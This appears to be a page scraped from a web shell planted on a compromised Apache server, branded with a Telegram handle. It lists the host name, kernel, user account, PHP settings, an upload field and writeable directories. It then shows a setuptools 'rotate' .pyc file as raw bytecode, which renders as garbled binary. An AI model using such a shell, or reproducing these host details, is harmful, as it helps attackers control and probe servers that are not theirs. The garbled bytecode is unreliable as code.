https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /opt/alt/python35/lib/python3.5/site-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python35/lib/python3.5/site-packages/setuptools/command/__pycache__/rotate.cpython-35.pyc


��\t�@s�ddlmZddlmZddlmZddlZddlZddlm	Z	ddl
mZGdd�de�ZdS)	�)�convert_path)�log)�DistutilsOptionErrorN)�six)�Commandc@sUeZdZdZdZdddgZgZdd
�Zdd�Zdd�Z	dS)�rotatezDelete older distributionsz2delete older distributions, keeping N newest files�match=�m�patterns to match (required)�	dist-dir=�d�%directory where the distributions are�keep=�k�(number of matching distributions to keepcCsd|_d|_d|_dS)N)�match�dist_dir�keep)�self�r�
/rotate.py�initialize_optionss		zrotate.initialize_optionscCs�|jdkrtd��|jdkr6td��yt|j�|_Wntk
rltd��YnXt|jtj�r�dd�|jjd�D�|_|j	dd	�dS)
NzQMust specify one or more (comma-separated) match patterns (e.g. '.zip' or '.egg')z$Must specify number of files to keepz--keep must be an integercSs"g|]}t|j���qSr)r�strip)�.0�prrr�
<listcomp>+s	z+rotate.finalize_options.<locals>.<listcomp>�,Zbdistr)rr)
rrr�int�
ValueError�
isinstancerZstring_types�splitZset_undefined_options)rrrr�finalize_optionss	
"zrotate.finalize_optionscCs|jd�ddlm}x�|jD]�}|jj�d|}|tjj|j|��}dd�|D�}|j	�|j
�tjdt
|�|�||jd�}x\|D]T\}}tjd|�|js�tjj|�rtj|�q�tj|�q�Wq'WdS)	NZegg_infor)�glob�*cSs(g|]}tjj|�|f�qSr)�os�path�getmtime)r�frrrr6s	zrotate.run.<locals>.<listcomp>z%d file(s) matching %szDeleting %s)Zrun_commandr"rZdistribution�get_namer$r%�joinr�sort�reverser�info�lenr�dry_run�isdir�shutil�rmtree�unlink)rr"�pattern�files�tr'rrr�run/s 


	z
rotate.runN)rr	r
)rrr
)rrr)
�__name__�
__module__�__qualname__�__doc__�descriptionZuser_optionsZboolean_optionsrr!r6rrrrrs	r)
Zdistutils.utilrZ	distutilsrZdistutils.errorsrr$r0Zsetuptools.externrZ
setuptoolsrrrrrr�<module>s

https://t.me/AnonymousX5 - 2025